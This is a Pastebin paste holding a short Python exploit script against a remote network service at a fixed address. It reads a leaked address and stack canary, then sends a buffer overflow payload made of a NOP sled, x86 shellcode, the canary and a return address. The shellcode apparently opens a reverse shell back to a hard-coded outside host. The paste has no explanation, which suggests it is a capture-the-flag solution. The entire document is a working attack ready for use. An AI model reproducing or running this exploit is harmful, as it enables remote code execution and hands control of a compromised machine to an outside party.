Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket,time
- from struct import *
- import binascii
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("128.238.66.212", 31338))
- addr = s.recv(4)
- canary = s.recv(4)
- shellcode="\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\x68\x4f\x10\x68\xd7\x66\x68\x27\x1a\x66\x51\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x31\xc9\x89\xe3\xb0\x0b\xcd\x80"
- payload="\x90"*1982+shellcode+canary+"B"*12+addr
- s.send(payload)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement